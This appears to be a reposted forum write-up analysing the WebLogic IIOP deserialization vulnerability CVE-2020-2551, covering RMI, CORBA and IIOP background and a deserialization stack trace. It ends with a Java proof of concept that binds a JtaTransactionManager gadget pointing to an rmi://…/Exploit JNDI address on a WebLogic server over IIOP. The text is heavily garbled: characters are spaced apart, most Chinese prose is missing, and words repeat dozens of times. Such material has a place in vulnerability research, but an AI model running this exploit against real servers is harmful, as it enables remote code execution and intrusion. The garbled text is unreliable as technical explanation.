[6526] 2020-02-26_WeblogicIIOP反序列化分析(CVE-2020-2551)

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-17
2020-02-26_WeblogicIIOP反序列化分析(CVE-2020-2551) W e b l o g i c   I I O P C V E - 2 0 2 0 - 2 5 5 1 E   2 0 2 0 - 0 2 - 2 6   l 1 n k 3 r N o . 1 N o . 1 使 N o . 2 N o . 2 2 0 2 0 1 1 5 ,   O r a c l e C V E - 2 0 2 0 - 2 5 5 1 C V V S 9 . 8 1 0 . 3 . 6 . 0 . 0 ,   1 2 . 1 . 3 . 0 . 0 ,   1 2 . 2 . 1 . 3 . 0 ,   1 2 . 2 . 1 . 4 . 0 N o . 3 N o . 3 R M I :   R M I R e m o t e   M e t h o d   I n v o c a t i o n R P C J A V A J R M P T C P / I P R M I 便 便 使 C O R B A :   C o m m o n   O b j e c t   R e q u e s t   B r o k e r   A r c h i t e c t u r e O M G ( O b j e c t   M a n a g e m e n t   G r o u p ) 使 I D L i n t e r f a c e   d e f i n i t i o n   l a n g u a g e I I O P :   C O R B A T C P / I P C O R B A   J a v a     R M I - I I O P J D K I I O P r m i c   - i i o p   c o m . l o n g o f o . e x a m p l e . H e l l o I m p l r m i - j n d i - l d a p - j r m p - j m x - j m s - m a s t e r / r m i - i i o p / t a r g e t / c l a s s e s o r b d   - O R B I n i t i a l P o r t   1 0 5 0   - O R B I n i t i a l H o s t   l o a c l h o s t I O R   .
T y p e   I D I D I D I D L : o m g . o r g / C o s N a m i n g / N a m i n g C o n t e x t : 1 . 0 I I O P   v e r s i o n O R B I I O P H o s t O R B T C P / I P P o r t O R B T C P / I P O b j e c t   K e y O R B s e r v a n t C o m p o n e n t s O R B C o d e b a s e s t u b I O R w i r e s h a k r   8 5     8 7     o r d b   8 5 o r d b 8 7 I P   E v i l M e s s a g e   S t u b   d a t a J a v a
  C O R B A   c o m . s u n . c o r b a r e a d O b j e c t : 9 ,   E v i l M e s s a g e   ( c o m . l o n g o f o . e x a m p l e ) i n v o k e 0 : - 1 ,   N a t i v e M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 6 2 ,   N a t i v e M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 4 3 ,   D e l e g a t i n g M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 4 9 8 ,   M e t h o d   ( j a v a . l a n g . r e f l e c t ) i n v o k e O b j e c t R e a d e r : 1 7 2 2 ,   I I O P I n p u t S t r e a m   ( c o m . s u n . c o r b a . s e . i m p l . i o ) i n p u t O b j e c t : 1 2 4 0 ,   I I O P I n p u t S t r e a m   ( c o m . s u n . c o r b a . s e . i m p l . i o ) s i m p l e R e a d O b j e c t : 4 1 6 ,   I I O P I n p u t S t r e a m   ( c o m . s u n . c o r b a . s e . i m p l . i o ) r e a d V a l u e I n t e r n a l : 3 4 1 ,   V a l u e H a n d l e r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . i o ) r e a d V a l u e : 3 0 7 ,   V a l u e H a n d l e r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . i o ) r e a d _ v a l u e : 9 7 7 ,   C D R I n p u t S t r e a m _ 1 _ 0   ( c o m . s u n . c o r b a . s e . i m p l . e n c o d i n g ) r e a d _ v a l u e : 2 7 1 ,   C D R I n p u t S t r e a m   ( c o m . s u n . c o r b a . s e . i m p l . e n c o d i n g ) _ i n v o k e : - 1 ,   _ H e l l o I m p l _ T i e   ( c o m . l o n g o f o . e x a m p l e ) d i s p a t c h T o S e r v a n t : 6 5 4 ,   C o r b a S e r v e r R e q u e s t D i s p a t c h e r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) d i s p a t c h : 2 0 5 ,   C o r b a S e r v e r R e q u e s t D i s p a t c h e r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) h a n d l e R e q u e s t R e q u e s t : 1 7 0 0 ,   C o r b a M e s s a g e M e d i a t o r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) h a n d l e R e q u e s t : 1 5 5 8 ,   C o r b a M e s s a g e M e d i a t o r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) h a n d l e I n p u t : 9 4 0 ,   C o r b a M e s s a g e M e d i a t o r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) c a l l b a c k : 1 9 8 ,   R e q u e s t M e s s a g e _ 1 _ 2   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l . g i o p m s g h e a d e r s ) h a n d l e R e q u e s t : 7 1 2 ,   C o r b a M e s s a g e M e d i a t o r I m p l   ( c o m . s u n . c o r b a . s e . i m p l . p r o t o c o l ) d i s p a t c h : 4 7 4 ,   S o c k e t O r C h a n n e l C o n n e c t i o n I m p l   ( c o m . s u n . c o r b a . s e . i m p l . t r a n s p o r t ) d o W o r k : 1 2 3 7 ,   S o c k e t O r C h a n n e l C o n n e c t i o n I m p l   ( c o m . s u n . c o r b a . s e . i m p l . t r a n s p o r t ) p e r f o r m W o r k : 4 9 0 ,   T h r e a d P o o l I m p l $ W o r k e r T h r e a d   ( c o m . s u n . c o r b a . s e . i m p l . o r b u t i l . t h r e a d p o o l ) r u n : 5 1 9 ,   T h r e a d P o o l I m p l $ W o r k e r T h r e a d   ( c o m . s u n . c o r b a . s e . i m p l . o r b u t i l . t h r e a d p o o l )   C o r b a M e s s a g e M e d i a t o r I m p l # h a n d l e R e q u e s t R e q u e s t     m e s s a g e M e d i a t o r
  C o r b a S e r v e r R e q u e s t D i s p a t c h e r I m p l # d i s p a t c h     r e q u e s t . g e t O b j e c t K e y     O b j e c t   K e y     O R B     s e r v a n t   O k e y   g e t S e r v a n t W i t h P I     s e r v a n t     g e t S e r v a n t W i t h P I   S e r v a n t     g e t S e r v a n t     m d i     o b j e c t A d a p t e r . g e t I n t e r f a c e s   S e r v a n t     o b j e c t I d   R M I : c o m . l o n g o f o . e x a m p l e . H e l l o I n t e r f a c e : 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 o b j e c t I d     O k e y     d i s p a t c h T o S e r v a n t   C o r b a S e r v e r R e q u e s t D i s p a t c h e r I m p l # d i s p a t c h T o S e r v a n t i f   m e t h o d     s e r v a n t   m e t h o d     r e q u e s t     O p e r a t i o n   S p e c i a l M e t h o d . g e t S p e c i a l M e t h o d i f i f   ( m e t h o d   ! =   n u l l ) i f   ( s e r v a n t   i n s t a n c e o f   o r g . o m g . C O R B A . D y n a m i c I m p l e m e n t a t i o n ) i f   ( s e r v a n t   i n s t a n c e o f o r g . o m g . P o r t a b l e S e r v e r . D y n a m i c I m p l e m e n t a t i o n ) e l s e O u t p u t S t r e a m   s t r e a m   =                                       ( O u t p u t S t r e a m ) i n v h a n d l e . _ i n v o k e (                                           o p e r a t i o n ,                                           ( o r g . o m g . C O R B A . p o r t a b l e . I n p u t S t r e a m ) r e q . g e t I n p u t O b j e c t ( ) ,                                           r e q ) ;
r m i c   - i i o p   c o m . l o n g o f o . e x a m p l e . H e l l o I m p l _ H e l l o I m p l _ T i e _ i n v o k e   r e a d _ v a l u e     r e q u e s t     C D R I n p u t S t r e a m     r e a d _ v a l u e     J a v a     S e r i a l i z a b l e     I n p u t S t r e a m     I I O P I n p u t S t r e a m # i n v o k e O b j e c t R e a d e r   I I O P J a v a N o . 4 N o . 4 W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c W e b l o g i c I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P I I O P w e b l o g i c   I I O P   I n v o k i n g - w e b l o g i c - e j b - i i o p   d e m o
w e b l o g i c T 3 I I O P C o n t e x t . I N I T I A L _ C O N T E X T _ F A C T O R Y ,   " w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y " C o n t e x t . P R O V I D E R _ U R L ,   " t 3 : / / l o c a l h o s t : 7 0 0 1 " T 3 I I O P w e b l o g i c   R M I - I I O P d e m o j a v a . r m i . R e m o t e   b i n d     R e m o t e   Y s o G a d g e t s . c r e a t e M e m o i t i z e d P r o x y A n n o t a t i o n I n v o c a t i o n H a n d l e r     R e m o t e   p o c   j t a T r a n s a c t i o n M a n a g e r     R e m o t e   b i n d
p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {               S t r i n g   i p   =   " 1 2 7 . 0 . 0 . 1 " ;               S t r i n g   p o r t   =   " 7 0 0 1 " ;               H a s h t a b l e < S t r i n g ,   S t r i n g >   e n v   =   n e w   H a s h t a b l e < S t r i n g ,   S t r i n g > ( ) ;               e n v . p u t ( " j a v a . n a m i n g . f a c t o r y . i n i t i a l " ,   " w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y " ) ;               e n v . p u t ( " j a v a . n a m i n g . p r o v i d e r . u r l " ,   S t r i n g . f o r m a t ( " i i o p : / / % s : % s " ,   i p ,   p o r t ) ) ;               C o n t e x t   c o n t e x t   =   n e w   I n i t i a l C o n t e x t ( e n v ) ;                 / /   g e t   O b j e c t   t o   D e s e r i a l i z e               J t a T r a n s a c t i o n M a n a g e r   j t a T r a n s a c t i o n M a n a g e r   =   n e w   J t a T r a n s a c t i o n M a n a g e r ( ) ;               j t a T r a n s a c t i o n M a n a g e r . s e t U s e r T r a n s a c t i o n N a m e ( " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " ) ;               R e m o t e   r e m o t e   =   G a d g e t s . c r e a t e M e m o i t i z e d P r o x y ( G a d g e t s . c r e a t e M a p ( " p w n e d " ,   j t a T r a n s a c t i o n M a n a g e r ) ,   R e m o t e . c l a s s ) ;               c o n t e x t . b i n d ( " h e l l o " ,   r e m o t e ) ;       }   p o c   R M I S e r v e r I m p l _ S t u b   n e w C l i e n t     i n v o k e             E   h t t p s : / / w w w . e a s y a q . c o m   |   E R S A C 2 0 2 0 2 0 2 0   R S A   C o n f e r e n c e 2 使   |   + V o a t z         E

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则